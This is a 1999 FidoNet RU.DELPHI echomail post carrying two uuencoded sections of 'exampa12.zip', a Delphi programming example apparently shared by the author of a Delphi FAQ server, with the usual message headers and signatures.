M4$L#!!0``@`(`"5W<2:;?+>E+Q0``-HH```:````07!P;&EC871I;VY2=6Y& M;W)M56YI="YD8W7E6'MX4]>1/^?<*W&0A2.,$(YC7#DEKG%D%YO'1PA)+-LR M-K&-;RC"S9DFZ#LX':(2]'H0EIR9=DFP=MDZ;=9+_0EA;R:$F! M$+JT)?V:+&R2;6A#-FFH@[O9+4V)V)E[KV2]3-N_UZ`[=^8W9\[,G#ESCG3R MJ8$U_U%)R%4WCU3$-WS\"7F0K!XNL0\/!P,>=RP0#G7+H>9P9*@G%(C5#+NC M"T"/1&92:&IN_V1DI()Y9[G"X>#Z0.@G-VUYR./EC>&AQE@D&$76QUT(-K@C M=_1]_XN^`I638[%PR#C6+/AGUR3QW[9,M/B--6D*OL#"CSQ>0WO8ZP[BI%%T MV6=PI01_[BA^P%]0,RWH6OG1-H]WECH\JKJC:Y="LNJ+P=49'I:'43#8\KFO M^F:[\+4U)@U]][VG?H.64OCAVL2HWU"34A!.;#L(H=D]L5!;(!I3S!6X@(6< MH&#P5L_COEF:8/?#[`\8RC1\6%H5]_.DY*/;3KWN+W8URM%8>$@5U3BE6..` MY-DB>8,+JF_/@SI"[OZ@Y!T"%!QQQKS3.=:[VMS]4K"^YXTVB`G2WQ]N"&\- M'Z\2P"4U&;?=]:C+/ZM&57SD^F=78G!)S6/[Z$?HG:KZUG"L'I+8%'`'P_ZH M%NFZ82FD2FZ[=OL#&-RTY*U%/=O]"]($-6ND6',@*'6XAZ3QQ)8?P2(HZX>V M_)=KD:&DQAX,^$.-X5`L$@Y&5WQFL#H5N`(W1B1W3.IT1]Q#T6L0+Z\ MX9M;W"%O4%J%.O/SZ(2\UR)4F@XU2;Y`2.J,A(>E2"P@1:]#C<]D:D3!L='T M&:Y'I8P0(-;&8$`*Q;HE3ZP!X059<',P#'LGY&]"L"@=;`N[O9+7D1-W1S@6 M\&D[KCG'9*<[$(II3B%8D@YVR5)DM#44DR(^MT=:FY.0;LGM=<8@)SL*K6:[0KQZ]>=S"`"MU2"*K"B?B\ M=!R6");"TY.3(W4%[YYA93NDFR=R;&GK=D].A'8?Y`7*#6!9<32>H](@^<(1 M2;&@JMR+*I:,F8/AJ*3D^:LY84)1N>5@3"V6R'V(F[,2V!SVR-%'\F5?022O MMA_^.3?[`^&;E5[W:$[%K'>'H'\$@MX;I=''$+W*Y?2`D2#4'92*9K+&[AV$ M,=/U>OSW`R_Y*_*KRK&P*MH\ MZ3Y&W/[6(5SF;QTIZ\,=.(UI)?-M!,K3@50O#'NV.`,QJ3'HCD:?0C6S*\T7 MM(T=:%^FY>EC\$<(F-(!/&Q^G&,HV0&2!:SI'@5@@U:X^SC'F@K1[4,J' M(E!*'BFXK^G$GC2=-:K.#:@S/VOQU+KY)I0RU/Z:B'MX(.#1+B.SE'BEU$D8 M'AH.AZ`*M"1W2WZX+$1&BSX]4X=;/P6OCT"NE+9M0:@T#7*Z?5*C&W;I5H\T MC-%(\8C?;$`MK6%%V1 MP-"=KVPW^N%^$;$'@V'/CI\^%/?/`JXQ/#PZ]?'.XWX#,$V!Z##TP!MNG'<. M;"1WNQ:B>C)I%P>GR][MZNEL[6A>M]%_^%/?O,[N=8T.I[,/)=WM=E?KNH[( MKC'9;X`+0[!=&@I'1HMW?:76-ZC MK\G1;.]I<_4YNKO7=?>UKVMRK+CFQ%7^`J55J^LQ[]B"L_YYZ]T!:+,1)Z0@ M**WK'X0>>-7:&[Q^#M.T=K2Z',LVW;?'7^A,_L2KCW&Y=@J>8C9 MSIDL=J?'HUVX^LO#CE,]A#T4`:/ZL!;KJ2 M.]1QM^^&RM>D<,RU0M?"2OPO!,Q)H#DB24GD?4!\ ML_#L]TN11V]]/.S7-;N#4>FIVI-AO[Y-"OEC`P3^_+R^#?P`P;TW[/R:7\2E M5>2S%3FR&VPNKU_7`/G>HB!":\BCO!0H*G8OM$Z?HJ3::G3'TKE@Y/://B+^ MPGHU]'NSNY>^M M_4&=M2@7>:^QS?N#NHB5U=3YEI%*`S0:4,"N1\C+3%Q4;O2$AX8@WWUPD$N^ M1><_JX?C#>XBED7<6N"1(WAMZX-M:ZDT6&<'HGTC2T5>D_E9_-X4M,0 M@5TLM<:TD,::O[ORW\D4XRO*1:<4]%GJ>+G>*86\4L1B959:8[',9$GMH-.6 MKD-+EFE#),W03"9@IT2ZW=Y`&+^-14S31G M>;ZQ[>X0M+46:*+0E,9:T,!06OAZ*XU"FJTT8*GD&'^Q?@9#^,UH.OK&[#SJ M,URQSFQ!/23&FM#`>S.-7SS3>-=`1,[HH&.M:&@O2T]*@59$;6H-E8LW0\.$ M&K&R:,!7A'5V?V.G5E\5Q%.YZ%*S)K?O78C3CA(Y<(T%/YN7QV8OVQD/*U M4X(O#%&XT7FVC*U&6XMFJJ#/YS,#KH1E_T!&UI-E<`.:JYMI%:LN82Z9SJ0E M^R4M+;Z$)2U-24/U_[@A[3QU;`W@K2YIZ'HT9)LI595_VY!6Z0UH9\E,=HS* MN1*X1;$QANV=?+'RF6F)^/&$3;X MF+3*S^0U)I-8"L,]@?39:;:`IOV@U.MV6Q/ M,75F*66HVNPMLANG?@\S&D0*;7MW5YL+Q`AM/]DASX2[@DKW77+BGP#9O M./FKU'1)FOG>`AMSUIH-+X-/&04&LM<*;"9M;6&VV%F75C+JP%6>;*F0OM1AO7?M.K-;,NT,C< M36;1;;09OGCUGGEPN5%^6=7R8)Y]DU?/S%IYY4A*JK[C$ MKC-/VH7J^7FKWSRY4:BVY-]BYLEVH=J/,6JC>D=VSQY MAE7SY%%DGCS`JB_+.EW-D[M9M2F[88J3<\!ZQCDD3AZ!Z//V4_5$/CV!M51O)_!/A8Z6$_)BI_%$! M>('\O_U;0-Z$Z`\KV="ZQJO`4)+=-HXK*EE]XP0(&4DVCM^D\0[#Q=":Q[L*D^H>[ZMLLKC.`JLC^?K'.4#T!!K(Q\I+5@6T=L/QJZ(6\9N M7771*A?UQG_5&M<_CYJJR@(5NE)F\9-KXGI%>.WY[:_<_F;,&'_E^6>2BDL/ MWK1QHW?"-/`-8'9J$QSZ0+%QKN]+7]BXZ1`AV/70-*XS^#M(G+WQY4OA%^8(J:0P^+R3U M,H;'[\2>\;?]U=Q-^6LEF;X?';,I30-&..,GE_XZO@/WH&H7&#&=,2:9+QR* MC^'T$-D#/\2AR0RKPCY:?Z&G_H+%4C.!3G%[LZX^?N^-]MA?'V M"S##H?B2B[VN#\N6'H.559C-'\Y5$VB.GUBKCFC2!#O.&[[R^U3L#\X4N^J: MZMG>Z;71$JD$.+:UD\3*LYQ%#MO+/2V=*67^CR@;D\K%NGY?5\ND''>9A!>[V@E=1EC_\LON.=G!()*3.=5^LI<\;WO[!1G7+'X:>= M\5,3/1E[[XGIR1W[EQY[OBE9E4<=^YL48T]W`M*)_N)O12*^#*8<`KE"_WSR MBH-_/@F;H3SN>*93$<'V*QB\&(?Q6@C:2\KG[^3+3OR,YNN+T"F6OCFQZ;SJ M\OETIV?1](QIP$['B^#_ZFG_7URMD(-X?8D?5803CL-Q+4L[#C+5KW,3\O&D M,'XB_DHR]]JB'G^EB=%4O!..$T<=)PWJ=,G`CB?C70RU?A1K>3,&_K&*[U&4 M5*>^3S4\A::R44B5%7R>)0/04O(A="8M*5U9:]>86KM!0VI!,JVNS9-CJ`9G M?`R/3]\+O[RH;7RH1:UZP/WX\J M]W1WCOV)QL=,276,"V.Y*A7+15U&!+9IS\]O.K2C&M_HH2%)(+H11N@(LU*9 M<:#X,2F?(DY?Y728TPBG"4Z_S"D%5`>?$*?W5T`Z=?XO3[G![F MU,?I*YQ^D=-!3N_A]'Y.O\KI`YP^Q&DWI]_@]&E.O\>IB]-G./U73I_CM)_3 MS9S^D-,!3G_$Z1.Q.EC MG&[E]#9.O9P&.8UQ>@NGMW*ZW0C^2WJZ7%A&GV0V*@DKJ5UHHAN!M@NKZ(BP M@IYBE?0,JZ`'6!G=S5QT!:8("IE"SLP6"R4`)I7-NC.L%((&&Q9VP@0N6YFM M!`2H,&UQ2@MN"J)ZIXVU`_1N!7N_C/VAB+U?`N)IU3E"G:(Z1[B2C;,R]DX5 M^XD%[)K8KTM@8!'[C3I+.ZM@0R!]8PG[@T&XO9#=N0A-S1%*6(]BJD2W6+`H MIA8+J&YDYTK@-3E3D6ZY4,PV,J/.+AC97J8DI7WZ=>/TJP2N5!ET(T(%LQET MVX1"NDTHIML@>=L$-&72C0LB\$;]N'#_&Y=3W5S6!.LB\F+1)!8QJUX4BT3Q M77:E1>1BM[Z2U8A&T2*N$%OT@[R>F?6,Z6$F^,=%5FID4`&E8C$K%CDOY247 MKC1TZPW,Q@K%8K%!^PSJ.5O"GC$9Q"96Q@O%FT3.BL"Z16PS&5BO:-&7L4(8 M81:KV)60+8M8")Z84(M9P'(1Z]47LE7L)CU,SLKT(GA0R$JR*?A3Q<$?\4ND MRQY&7C47O\Y(.2LKHP(YP_0U"P72)11_[40Y&Q?@?L.@ MPADQRS`!L;FWXAR)`[TO0D`[:E^7>P"1EIEA!U[/`UC/B.H#LAMY/9-C!I'8\`NY81[UYD!WQG9=;&B&\Q#@T.'("A'8P, MC&+N(^/XO/T.Y3F!SSMWXO/N7?B\YV%\>NX2'T5Z^+OXO/K?A&>1_FX?/LE+ M^&S!/P';(G^`_968HIM?HZ8ZCYE3?K9PL_);.'7 MB4_9V<0<8?/=$,MCU#J$FT:ZR7@B?4CJ\Y:B5]BR0+%U)85$^<9*4(3I8N4L&RA!6T',7EE8[.8 M>[AE_%2XG]NM;AJJL'HQ:1,_LDB=/C%0CVF>0;#$_U.\U0YL(VEYNZI7(7'T M*K*MAHCWDM=`IHSK!1M!ALKN*Z6D,JFVZ!,YY>KC_ENN6#V$G0I7@IBM^&/5 M9?(YEH%D;,$:PI+W>]M3,/[8%3!^)2E>3XE)OO=5.<<1J.UH$MQS/9-PCWO* M<&_7M8-4KLMHU?H9I4(E[SW[<_!B.!GHP^.SJ9PW]9/^R=%0'[X:ZB]&1V^/ M!Z\G_9O+ZM%H,AJ?OM0GX\'AV\'DS9D^FAR-3R?OLB!(-(-KN$#;;4CJ6Q9! M(N$K7L+?BX3CWP;Y?J[DL-4D;5XI.<.@E^0/78=9C?T+4E6N'0BRN[QZ9M#V&LW3WGGGJ*!^?HE/0D$O?T!0 MM<0;-BA5RH`UK\1Q`(!LY+N,42*+AU^XGL?3\G5X$.H@Y4SW%66IW$&DQ$+6 M@"@%]_*4X[2!O($:L(N9,F6+S;'=$0?M=_`!NE0!$A/AA822\(GPQ>?XOA9\ MUV,?XLO;](F#%O)->1*`+PQ*<1[:*?_IZ[@Z0_1C0/1ETNLG68)XAQ*4%MD% MM=3$4L3DP[8*H;7->A.)N>-H8*F((5/2[@'U/9V(!DN:8?/CWH$V[S`%:")/ M#S_#:HQ4H,W'`N\]1R0L*@&FO?R\SP_:8#(^36_8M,/'"W'GGKS6H9UNQ_T[ M15!+;=A$)5)'O3A(BI&H,3X3>>`&#Y3+A$\[FV7V-GDK:H:0?\MRF#K] M*Q+3O<16>46%Q>]`WAD,-:F]+\EBWPE3CY:B<%OMB!4+XL.,6$$@'$SYO^A&2E2#*WXC@!1VU`$\Y.+SVSVB::UO,M>9[Z==IS:&8&Z_>B#!>GL6:YWH$ M+<9ONQ2S27,QUY>#OX8O^Y)T^.AJ]_K__>GBFC_N'H\EIE'`6<*[I+LW: M@^8#JE$)CM5%!RQZ$K[A=X5K=0=[O'H[F%SGFT*]QY<=<283RBZL6]2-4$`D M/#-3B1#JPII_#-ZJKW-0BQ#Q7$T_!BN^SZS>X;5TNBS&LJ;3ACN7["'JM"35^*(C3%/HE&IVBE'LXT M,?#Y$]C88A9.*2/`A3>?G_,G(Q#Y49U?7:TA2YWZJ4;^8"?_TB2#(P"Z=`5P MRA?#G<>$34J.H3J8!21JT\\3B!1ITV,>9['T\P(G>$L@RBF(+'*JD?+D3N3[ M1)!M;BDA6)!%P@.(OH4/(7&?2,#]E$>@UR)Q;:-]:--6FX1G]QMO0Z)HO)@T MMV#8-3P[9`RF)O<64P'YX#Y10=E]:RWDUSE.)%CS:!C"%ZSF-L6N1C!4":Y] M#WP9,IWSN?%F='E]Q(E_;9\>I[4#1!^,VCLB6,*&HU=-1^S>F2NS;CTOT\_#B\H:R]#I)S2J+Y&D M.QRE1)$3DF:1D+150K=U:*BO'('0XX9&I*;VXRQ>;'JYACX*N90M4(#) M.\2XJ%@6&V)8%2DEIY5\J=GX"X[_G^"G7-585T7O\/@YQS)`HT%-TSLT0GE. M*2V0Y`_%NTZE^M,^2#_\M',C51_7MMXR,&%!KZ9:X\O36B%H.ZYBK=RZ>7HK MD564Y*HJ_;E=$,,.[:LP^DC%IG8^6D-N-.T)]H*G/1E9&"HAKV1)0/;\BD[V M1;J0/-41>%M2RHW77=P:"(-_Q6;:I1G0\`E-`D*6=K31/--,U MTTHCA7RK=L["MFJ,MO0X*Q*]R56^MV2\U#2!73[-[WHH+?J,K%_TL9;4M92> ML)0DHH=.!I5%L&_S`-ZV+)KQKW!\T`&H[;=:BN[2#L^8@&H:G1BL#1471([V M/2/W;M12=$@5O#B#E370FC[`0;MRTM+N6B.0-7J#QBQ9:*QVUZII>^'LL5^? MC_X?$,URVV,^'YKLK:W_R@#NGHH+"%IPZ#+L1[HCY.>_F1NL>$Q?/PA.MRE4 ME6ES$,T;`-2\MQHO5S>+R?7E7$_@0%LLYX[K>6M)7,[&J\G\6O%\9Z&[\RDZ M;T]3[]_+\R*J:H0C-^")*E7)FI$M)'4/_0:6H9KIOX3+5D!1ORQ4U5*`U.H? M@2^=65U4RY("FQIRZLG':#1`"V>#DV)NFZJQ;:!86K\24MU[@)RE.UZYZPOW MH/_(/<0Y#$C2$H$E+YV(I^0*#$?04F(ZW$#T"`ZK M75!&:5<3-(7B040CHK-.JS%['"!P]^1ZLG(;;:HRCE\12*8_>88"S.`7(@6C MMBP]AX>YK]0H;L5K!%Y9.B]^E.U-4R+S],J=3MT_7.=FY1;)FI(\'\OI'J@` MH**X/,N`+K/#\H4QS:?X2AHW#.[.95)-9F+)9F)-9P^6U%*:T")X=S.T:>4F_HP+7XHX(#.1^D3GZ"(/A`E,D`^?,FI#>(PI#+:.$)O M3A`6Y?$,VO4'AS985*&QD>O7W"]M""/XD@"0;TX*P?(B23)L16U$F9RKU`YO MU][5_-84,ZIUC3R!E)S,3W-$NT\FLF526)QZEQ#M4-CF!4WAZX2H,`Z-;-$: M:J5=28+**5'.ECNJ7>K=4^Z5HAL:J?SJ^JQE3"09J?CA=4VBUB*JZ!2FPWK# M"W<S1NA[HZCXQ5E@:,NKP<2>;-[D?`XY(^LL^$#KQ\+`+;+HY>^ M<4S4#P+6X8ZR"R;;U]1KX+Q\T]H%C>6S[2`PG:^:R[RU#[KF]L/.?26<#C-J MPUZE,4@T=B=5T,#_X?'1?U!+`P04``(`"`"<>'$F!+B+L2E,RD:*&-W;QD M95GA)B_4@*B,B^CMFSD&N?@\_YEAF%$5>R@-5,51A4MD`ETT*[A&LX%;N(,> M5GWD`#E$WL,('M`?X0G&\`POV),@7Y%O1'C7N?F38R>TCC]MV2UX*)IW-^?_ MB#7YOR`9[7&%M<&QE03%0S(<2CTZW?&`8K4OIR9.1X[,V?LO`Q47G`! M^K79\#VWV>A[3K,Q("\@""D<$ORB<$0P)OA-<$\+$_*FY,W(FQ-$!`_$+0AB M@H1@2?!(JT_D/9/WA^`O0;Q1[R,N37D*GIB67*YMO)3<^(*S$DKOB2I1+@%X45!E;5>BS_*=L?Y,I`?,A72MC<*9>Q8>DVYA_@N3=7MUTZ M>'_!.=W;ZY\WJ&/.UM#'?KRNV^M>.9@8[B&`,M6\,%Q)SY87<`VI49I#^7HJ M##FO5N0RCO`3>&0PF7S'#J)+-@:FTTW$S.8SI?0>!Y.NT;3P+$YM/#IK%\R"9 M=-$@:;7..'7/4,^CV+&J=`I8.#'+$L[U.E:AB&F6@P%-`BTJ:6-*':G2X-`$ M3]FGGH^8AT&+)HCY8YF**@-D[4AQOGYE%++]BHO,3I2]*8WK]IYS6?L=&KT` MFAZFG'-MN>1$&B[6XP)2SD2]P'?,6!8'91^02IFP]Z)'[6?8WAK#SK7[I=[6 M/1RH27JU3!YFV+;G;S\V3+;\558)+O&UXA6^O$1#E,VT8,_R0L"/UNYXG-ON MU+G'\STDVD[;(4502I3?GA[6^WP7']`;WD,L%]9,#%1QT'R],9[;Z_6.9*)9 M!CG36])^CLL<3Z%/R.].:L,>2`Z55:FY_%;+=\_\E^*P\QSH#]%L_`=02P,$ M%``"``@`#F1Q)@%U!F3@````0P(``!0```!%>&%M<&QE03%09!YO141EJ@[T3'^8R M!YMJ+?B`.2L97YJ_:H]JN&9#\;K6HQ/#((J7OX55?W1B^;$F6I<41L%W&G]& MYR:;G&-XQX&<".\_]Y_=`L@!_>XDK/9))%`9/ M4$L#!!0``@`(`)IX<29E;2N!-\>#AWE*,*)=SB,V*.C M[QU&`T)%C:L=BQY\AH!Y+%F:;,="Z7 MR=L5D\*_N+4,[*3X@QS<%929EAY'G(ZSNV0,_F%FY'C?VMZ8M6&96DQ/ZSYU MC%JV(8J6)ZC,#2R<2NMIV.-D9/=^T7]"OVPPW>@YO4CU1>D?HTX3LW^JY`67 MK#?-7;7V"O$3>C0OX0EFL("GU%DLR_D-A10JU7U5L@M*F"\F-ZEZOEW MJ3C)[PJ6LAG\EAQ-QR#IQ==W#A[A,O*R[H]@V,VUE5C2? MRSW#^&=$[>`-K77&B-1Q@1R/Z=G0:.E.P+[(JC;8BX[FG=)'Y*:>AR'^.9$- M]JG)/`W^;[+B5)9PE=C%A*N5U)>NK_W?==:UBVZ/[J%"3CYN/.]OAL_V]IFMUYV5;*^X,5C>GWQ5=\Y\G$+BAI]=UI\VH+8[9,S): M^E;Z#5!+`P04``(`"``E=W$F2`VS51H9``!W,0``$````$UA:6Y&;W)M56YI M="YD8W7E.'U\4^6Y[WG/27B;IC6-AU`JU)1;6.G27OH!`A=80S\HVI:6IGPI M2$A.TI0T"4D*E`LN"#I*J$-$KCK!5:<;V]R].MC\PHN`3NZ88USQHAM.-K/I M@%HV=>"@['G.R7>*N_?OV_YRWO-\OL_7^SQO\@LGZ[9ZO(T>/W='1Y7L-QG#7PLK9E$_*GHNH;FDZO63*)V5K\^6!OTNP.O M+EO]B"/;4NOU!/U>]URK?VS-@K<<:DNKU2.Y]]2/6NC4EB=1`Y,GO>0<5:Z0 MA\K?GVVSCYK?[6QR!8*HR697-4N>'D5KE@7W1GC^\9]^@B"^!J7N_7]XYFVG MICQ.?NKY!WXMPU$Z?W+38:<^#I;/DX*UWAY/\-3^W9>=>2EX7-\&M,W.S+:@ M)V8'>`2@RRLCNC;:GG",BB(>?I3^"5U*D(]),\-.%L-\0-#; MK:#*VV'_3LFV6K*[QY1M!8\M7J][L,QJO=V)4&HL[4%KL"<`L?IE]G<> M<&@MK7ZOTR\%$/-*=T2<'_)7=!__9F5V>V&+R9QLV.'/*D_AO M8A>':_PG&.W8-J=_\I#).3IYFT`LLO?\^NM/.<5D$L;"(JT/OKCXJ79(44)K M>:U?L@:EK]96?\4Y)AD/`N:>H+?=M4'*0:(AC3C/[^WQ2?:\D01CF1X-1`A[ MGJUVRUV?XW>(-NAPNFQ7KO"%#92LB1_ M[WQ/4/([K#;I]HR`+)2L=JP=J]EKEUHRI.,LK1EQ MZ/#90:MR-@-M&78MLKI=R+!0\EB[I7:DWYQ,AQ1!*FP=&3%2,KCM!IEMD=;U M9>B*YFU[AH=F!\0%R@W(/;*AX0R6N9+#ZY=D#0K+#F0QI.SL]@8D.58O%_$^EB6@`;O+:>P&,C15^F2/;H>?A69O0[O>L@+U;WWHR*66SU M0#=TN>UW2+W[D#K1TFX#)6ZH.RB5J,IRL[T+9!+U>N+WG8> MDF'>?,_:Z`F\%VDW)],62CYL*=_(B!?4Y%P8\?;`=B3I,W.T0]DGV4:_U2GG M.O#4ZX5WX[E,T**%]!TD%"43XAW2:UO=[@I*M6YK(/`,LHF6)%M0-_:E@ZF: MV^.:?X($73*A!9K-3S,4Q1K#,BWIP3XK??< M!YPYEN1*XMX`N02JT667_H*JA&[_@M4'ZDX.).4]7B?84Q8JV4DR7QY8%N]6 M+)9$=A9*#K@<=7Z![*IF+W0^W=&9YT!2?I?CT>,/>/VMWL#U6V]2)>4)VI(D MP>E7/+\&"J#?S/-;?9TNF])O1EG@J*^U!O3G/3IG+EP^/$'%8[?7/^.%6_8Z MLVSNN4$/WIE^O?#VR4Z-S0WRO0B_A[`N*E^.&'3J:S^ZJQJ;GX*-YV,TH.$* M)->K)&^-0]';[?-ZP++H(5DH.:%Z_+WZ:Y%*;.AQ\F(_U+H\C`U(&I=$:KN[3^?][,VPM1:N\-=`1=2E=V"A:_JULN8@WN#(.]6>IN^^&?`\#8#/=6 M/,7*M6Z4QPN\C]^6Y'K@7FS2JOU:_<*3;^Y1O_Z5`USJ]=T'+VQP57 MG`PO./-M7L]6?\/C3AW8DL)>-.N[TW%K7R_LZ_7W'O[^D1GX)<<+Y7+-'#SO MU"RZX^Y:<^M\B[GI9UAQK!6H51Z;9/]QS9IM'R30>K<7N72%9?)0ZQ,CI&F+__EB521.JD;0C2B MB$(J+/G;"8?>DH'7'3EWPGES>2:AZPDY96.&C)1 MX_/$OA)JYA**<*W5%VB"+@VP4&*,:RI/BEC]>E>P?KUDZPE*H2_:#[<0+:LK M$MHEM\,PAQ2IVR4XWGZ#B=I*QHXHCY,J1"T@^$Q"4/V_$)P/%1CB+3?><8)0 M!]W*4"[82FX=40,D.V;Y,%INO)'E7TT2E]M:FOWU:Z'C12_5(16:='N2+U\N MCVZDR(]"^65)\D;9#T^1&>1N=*A.]@H8^0Z%)-Q(J2`@U2FZ?7-RQ+%U&R:&1)8V""SJYH8392O0) M%="`+7ZK;75(B^[N2(XJ`YK["C,E]^KX6;[Z1JG:UD0JKBE(X;<^^O M[>FQ3JH(VNTW5),;*5+::DS1YZCH_1N4%BAR5,-1&I>D*/9K&MSZU\F_7\Q26D.'![[CKOZRUJ+&B)I2ZO#+Y#-: M"\N43ZIC)=MQBT,YF55_RT@!6(5W?#ABU]#_#V\40E\0RC;YT$&&M?(-PK5! MMC:$`Y_<562L`T+R#]`A'.-$5Z2KL\TCC,SIN;FAE45H`1G(.T>[7AO^OAI\ MBOTL+*KSLDT:5[?3'0@B3AQ7E&VB+14BJ\"U4F1F7*M$UH9KMRY5+)2KZ+V-23?)K)? M99NRXHU-U)X#,!Y*,?=2MLG@2_PNN\"3H.DXK>FFQ(_J9OC*XA-IGM8T*MK2 M17V1UI2=^#&T0A0K4A"5HF@&=I_'C8=<%-JT)K5[K?QNL&K!O.DB6Z,UB2.U M`G`?.6:`^UJ3)JC\3HP6Z`=2]J@2Q>=2$-6B^%H*8JHH_BH%,4T4SZ4@;A/% M2RF(Z:+(Y9ARHKN:W>NLO0%1GY=CTB9Y"^X6Y9AR4^>[J*W(,?$M%5,@[_(+ M%$);3IDF,EM2YA M4)6*Q'XD#.9!N),N+\*@F2\K^H?7*F&P#-C^88L4!HN$$;2E=T)A<.I(VC+9 M)@L0P_3[@##X*#B6-O:%P0&^+"=E`@J#I_DR%KN""(/]()769(7!"MPA_2X@ M##[+V^J@V=5!)`C27/C!"`H@<%Q,OI2^7;TI>I,]*7Z M-_#"D[3A\0'%D*=/CP^C,E,_DLF9\^-"E&':4`:#TF$^C3+<=EEF2,R0JP"K M2&*(@$E$36XP100@CB+I8X0!EI'8'-$"E$62!XDN'5,I`D9#8J,D'Z!L$ITE MXWC%T.E&'@T=<9H41WEFE,@[)\T34_I655/2,=75Z9BIT],QTV:E8VZK2<=, MKY,W3QTKC3)7REQIDOU(&RRML@^1#V']6>B#J(EW'FUO"Y]Y0RCFPB2_(O!]% M>9?=B:9O.7:YO>IX7_/E/C#O3#AJ#/JR(\F7RS%"N.-RS.`8ZK[#/3F`>^G; M)!J1\!;L%N'0!9@'5:=BOJ=Z_I#L^>67:$PHZO[Y.Y>"_SB&1B%R\,^#OQLL M)^V+%G>$+X>?P!92=2KJUOG<^*NRQ]&H.5__8_C?L?.&ZTL4PE#+EF&RL2G\ M391_GAM(B)QYGHN*Q5]`*OR.\G8RAOHW%`P?#;/K;7;0=;WG0/@;BBZ9OOSN M%1#X18NW'!L*G^DB_77%0FO5\:I358<5\4_[7UX"-?4BUM5?GHXI'6G9?6&3JO':%YE[X&;"O+61\GF"D+:-Q\CD(WP&8NL MMO^A)1B*8R_"(%-BN/5PS]CPV_U;$)_`1FT!80ZM#^_$[JTDNDM5=3P"P^% MZ[7QLW%__&R$Z]GVK6ITOIB;Q?7<]!(TXU"X5F$]G_-27A(8KO^T%;2TAIN' M^CN&TIM!OWPDM"G-`(HA'%E^A)&T7M"(9K9AF?P\I9Y'X[./HHDKXR:FR?;5 M7XWOZ4P45*)55)WJTT4-^/V635%W MPEM(+(+A!@&\O!H.#<6+X60X-XGA?,FBE`.QHG,;K%UB^"T4VXEBT=B`^TN7 M'T$N[`BXUII;VY-Z&IBZ$WM?W\X/DSHF8C^2L1?D-(>P'T5K;?.QH6$LY_[= MQ8Q+=3Z*@LZY)2ZPY>65N.T]%=>A(O$#A2[$SMA]AX-CX;`S!0H%B\=Q"7#S M,9U<^A`Y3,?$>#JNJU+2;DJD^_+RHUO*\(T[VKV7)ZISE'#GJ)&+4`8K?G3R sum -r/size 62339/20669 section (from "begin" to last encoded line) === Cut === * Crossposted in RU.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: FAQ-сервер по Delphi: AkFAQ по адресу 2:5040/55.999 (2:5040/55) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 76 of 341 From : Akzhan Abdulin 2:5040/55 17 Mar 99 15:11:00 To : All Subj : Example A1.1.2 Part 2 of 2 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === section 2 of 2 of file exampa12.zip < uuencode 95 (v40) by R.E.M. > MQ\*X'`!#C+N7<;WP=C_C-L&R&3[W,.[;C%O!N#P`'(SK9)R'<6\P3@7P6L9E MP>)FW`;&[6/<=QCW)..>8=P/&;>*YY MQFUCW"[&!1FWD7%;&;>=<3L8]X`6G%B3Q4G\!&X-7\Q=X^=P%^&SB2_G;27)8+'N6JH5@9(5"@6#7ZFDA&$F!RT3'"7-H MOC"!P1\MU!;2`M8`ME>R:EH*BX":Y#U)Z7$5V:>?` M_7N'?CE/EH.55IYLI@7B4IX\3#6%!WGR.J^?<)8G]8+A(0E*K$W`[T5P7B@1 M(W!,B"%"!4KR(Q`I4@#=AI)Q$3",%$8@Y<08`0O)A`B4'2F.@&]D4@0L("41 MB"8IC=!\2DP1\)>41R!99`J<0DHJ(^`_J8[0"91,BT!=DND1."-D9@0B1V9% MH!K(G`AX3FHBM)R2N1$ZA9*Z"*VDI"%"JREIC-!IE-P>H=,I:8K0F92T1.@L M2EHC=`XE"R.TAA)+A,ZE9%&$UE&R)$(;*%D6H8V4W!6AMU.R0N*)6EBU\G5P MMHF2E6L0M*]2\1&H`++J&H(.^WXA0ELIL5]$L-.Q"<"%E#@V(=C560;,%DHZ M.P/,=5!RKPK!^[>> MB-!.2K;F(;3M_G2QY]%ZI/[#@(U1,F^ MC['`OG<)GZ]\AL]7K^'SQ1?H+-Q_:(>GP]:Y^.21]MP>:J2=N!JIDMQJ:QJ>5WXO+SY^@3^,Z4;L?E[W\<[+9I?Q! M7`_R+^)RB'\-E[;ZUW'YC/\%+O^T@?^5+"F\B\L=(=597&<(YY0E@LMLX6-E MN83+@/DS7#8)5W"Y3^#PH-INIBI<]PM9N#PGY.%"1N/SHC`6ETO">&69B(NA M3&:8BL^!S;-E'7?P9EQ[5?6X;%;-Q^4^:*@8&=7NCZY0_!I!($'PT0RK^!I& M=/HLWJ3.XO<-Y_$R%7($'\UP$6]$L`RQ.E+!J]45?,/P5%D&DL34,WC+L)FO MT1%=93W?HJ[GF^EP,W^8D"'2QFLUR_E\]7)^Y;"5=VL[^!UL*7]`O92OH,,= M_'P*6'BT\9OHL,37&(F/N'B=VL5O'UZC[-<#^_7P$X8W\7#%G4(VPWY]_!2V M&13VP:>?KX&PZIW^17L7?Z>X;/\ M5#I\46&[PA?"QSA\30[(7$[(57/"S.$<(<28C^8)A>KQ,!3&"H60O%G#><*% MX?'P*1+DH$Y6E@I!5@4YA(]A>(908T:G9@MZ]6SAR>%FF4O7IC!;_PY02P,$ M%``"``@`T&)Q)C.:&*)H"0``1BD``!````!-86EN1F]R;55N:70N9&9M[5K= M;QM9%;_C23P>.XW3_>B6[8.-A-`N@I`T;;=(=+O.EQ)1)R&>MOO&3NR;9)3Q MC#4S;A*H9".DY8E''GCA3^`5>*%A>8`'M`4)\0A#B-70)(Y3M%)6S=;<.W<^ M[?EPE[H@P8R.R=WVDG`S2XNY_.Y^04P-C+Q-@#%4K:.OWC6'P."FOK&OU;BIGB*YH@2W'V M86O_L-'*YL8'IV115ABV*$YJTBQ?A(EIN;A1$#3(#LW*DC8ZMX[4W.YY<(,ER14X^FAHGA7D$KR)@>WM)1!(#)CG[#&W0)?AO%S^4*V MP$MJM@`5894\7]"V19@"PXMB:4J!O`87E1)4$HDE614P4H:MR--PE:^*6F)1 M(D.8)%:8M-E%:1JJFB)O,RG<:]Z<6Q*VH*@N065>*J['/DAB8":D MJZJ3O,+:+<-X,<-V]$\HTW@_LHP7>S6^Q$N(Y;!%^BH%J$$#/I.JJ(N;$E2F M%7Z34&-;8<3LOT4D+0!`JB"4*R(T<"62R!`KXI0H%#>8\[925E<*41$78RCS MBD.V^@`8XI84>4V!*NZ_4'':BY+71/0(9=CH#\!2U3+1>3HO2,B">7XK5K(] 